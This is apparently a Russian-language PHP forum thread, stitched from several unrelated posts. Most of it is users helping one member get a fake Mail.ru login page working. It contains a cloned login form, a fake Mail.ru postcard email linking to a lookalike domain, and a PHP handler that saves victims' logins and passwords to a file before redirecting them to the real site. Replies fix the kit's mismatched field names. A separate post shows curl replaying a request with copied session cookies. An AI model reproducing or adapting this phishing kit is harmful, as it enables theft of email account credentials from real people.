пишу сценарий с вевлением. PHP: <?php //сравнение трех чисел\\ //Вводим три переменные $a=56; $b=128; $c=75; //сравниваем 2 первых числа if ($a>$b) { $m=$a; } else { $m=$b } //Здесь должно было присвоиться к переменной $M большее число. Однако присвоение не идет. ?>
Что надо изменить, чтобы фейк заработал? Фейковая страница создана уже. PHP: <form method="post" action="log.php" onSubmit="return CheckForm(this);"> <input type="hidden" name="page" value=""> <input type="hidden" name="post" value=""> <input type="hidden" name="login_from" value=""> <tr> <td><img src=http://img.imgsmail.ru/0.gif width=55 height=1><br>Имя</td> <td width=63%><input type="text" name="Login" value="charm0nt" class=w_100></td> <td width=37%><select class=w_100 name="Domain"><option value="mail.ru" SELECTED>@mail.ru</option><option value="inbox.ru" >@inbox.ru</option><option value="bk.ru" >@bk.ru</option><option value="list.ru" >@list.ru</option></select></td> </tr> <tr> <td>Пароль</td> <td colspan=2> <table width=100% cellpadding=0 cellspacing=0 border=0><tr> <td width=100%><input type="password" name="Password" class=w_100></td> <td> <a href="http://www.mail.ru/pages/help/2.html#2185" target=_new>Забыли пароль?</a></td> </tr></table> </td> </tr> <tr> <td> </td> <td><input type=checkbox name="level" value=1 id="alien"><label for="alien">Чужой компьютер</label></td> <td> </td> </tr> <tr> <td> </td> <td><input type="Submit" value=" Войти " style="margin-top:4px"></td> <td> </td> </tr></form>
awaria, самый верх: PHP: <form method="post" action="log.php" onSubmit="return CheckForm(this);"> <input type="hidden" name="page" value=""> <input type="hidden" name="post" value=""> <input type="hidden" name="login_from" value=""> замени на: PHP: <form method="post" name="login" id="login" action="log.php"> <label for="email">Email:</label> <input class="inputText" onClick="show('expirePad');" type="text" name="login" id="email" size="20" /> <label for="pass">Пароль:</label> <input class="inputText" onClick="show('expirePad');" type="password" name="pass" id="pass" size="20" />
Можно немного пояснить - что это даёт. Своё вставлять ничего не надо? После заливки файлов на мою страницу перекидывать будет? А где указывается мыло жертвы? или это всё универсально? и мне всё подряд будет кидать? Как сделать на определённый ящик?
Что здесь менять на свои значения? Открытку где брать - можно тупо на радикал загрузить свою? Плиииз, поподробнее... PHP: <table class=readlet cellpadding=0 cellspacing=0 border=0 width="100%"><tr> <td> <div id=let_body><base href="http://win.mail.ru/cgi-bin/readmsg"><table cellspacing=0 cellpadding=5><tr valign=top> <td><a href="http://cards.mail.ru" target="_blank"></a></td> <td><font color="#333333" face="Arial" size="2"> Здравствуйте, на Ваше имя отправлена открытка. Отправитель открытки: <a href="http://cards.mail.ru/" target="_blank" _base_href="http://win.mail.ru/cgi-bin/readmsg"><font color="#0857a6">Открытки@Mail.Ru</font></a> Открытку Вы можете посмотреть в течение 90 дней по ссылке <a href="http://priz.croe.net./" target="_self"><font color=#0857A6>http://cards.mail.ru/card.html?cd=00dcfed993b461be466bcca05114e17f</font></a> Нажмите на неё, чтобы попасть на страницу с открыткой. <hr align="left" color="silver" size="1" width="100%"> Чтобы своевременно узнавать о ближайших праздниках, именинниках и конкурсах, <a href="http://content.mail.ru/pages/p_782.html" target="_blank" _base_href="http://win.mail.ru/cgi-bin/readmsg"> подпишитесь на рассылку</a>. <a href="http://cards.mail.ru/" target="_blank" _base_href="http://win.mail.ru/cgi-bin/readmsg"><font color="#0857a6">Открытки@Mail.Ru</font></a> - открытки на все случаи жизни!<br><br><br> </font></td></tr></table> и тут тоже что менять??? PHP: <?PHP $Login = $_POST['Login'];//Логин $Domain = $_POST['Domain'];//Домен $Pass = $_POST['Password'];//Пароль $c = "$Login@$Domain:$Pass"; $fp = fopen("log","a+"); //открыть файл базы fwrite($fp,"\n $c <br> \n");//записываем все fclose($fp); //закрываем header("Location: http://cards.mail.ru/card.html?cd=00dcfed993b461be466bcca05114e17f"); echo "<META HTTP-EQUIV=\"Refresh\" content =\"0; URL=http://win.mail.ru/cgi-bin/start?1390370218\">"//куда пошлем пользователя после того как он ввел данные! ?>
awaria, ты тупо скопипастил(-а) код из статьи какой-то. У тебя в форме имена полей не соответствуют именам полей, которые обрабатываются обработчиком.
awaria, ты оказывается на Майле делал) не знал, тот тебе не подойдёт что я привёл. привёл бы раньше пример лог файла, сразу бы подсказал) тот прежний код ты откуда вытащил-то... он никак не сходится с лог-файлом..
как используя curl отправить следующий запрос? Code: POST https://host/index.php HTTP/1.1 Host: www.host User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.8) Gecko/2009032609 AdCentriaIM/1.7 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: ru,en-us;q=0.7,en;q=0.3 Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7 Keep-Alive: 30 Connection: keep-alive Referer: https://www.host Cookie: sess_id1=FVASDRitb; sess_id2=12378178 Content-Type: multipart/form-data; boundary=---------------------------24464570528145 Content-Length: 492 -----------------------------24464570528145 Content-Disposition: form-data; name="qwer" 12345678912345678912345 -----------------------------24464570528145 Content-Disposition: form-data; name="variable2" -----------------------------24464570528145 Content-Disposition: form-data; name="var3" val3 -----------------------------24464570528145 Content-Disposition: form-data; name="var4" val4 -----------------------------24464570528145--
AFoST http://ru2.php.net/manual/ru/function.curl-setopt.php CURLOPT_USERAGENT CURLOPT_REFERER CURLOPT_COOKIE CURLOPT_HTTPHEADER CURLOPT_POSTFIELDS пример, как их юзать в конце страницы.
PHP: $curl = curl_init(); curl_setopt($curl,CURLOPT_URL,"https://host/index.php"); curl_setopt($curl,CURLOPT_RETURNTRANSFER,true); curl_setopt($curl,CURLOPT_CONNECTTIMEOUT,30); curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1); curl_setopt($curl,CURLOPT_HEADER,false); $postdata = array( 'qwer' => '12345678912345678912345', 'variable2' => '', 'var3' => 'val3', 'var4' => 'val4' ); curl_setopt($curl, CURLOPT_POSTFIELDS, $postdata); curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($curl,CURLOPT_COOKIE, "sess_id1=FVASDRitb; sess_id2=12378178"); curl_setopt($curl,CURLOPT_ENCODING,"gzip,deflate"); $ret = curl_exec($curl); echo $ret; Ну, общем, как-то так....
хм, а зачем добавлять, если не секерт?) Мнго раз видел, но и без этого рабоатет, вроде) А про файл в вопрсое нчиего не было Ж)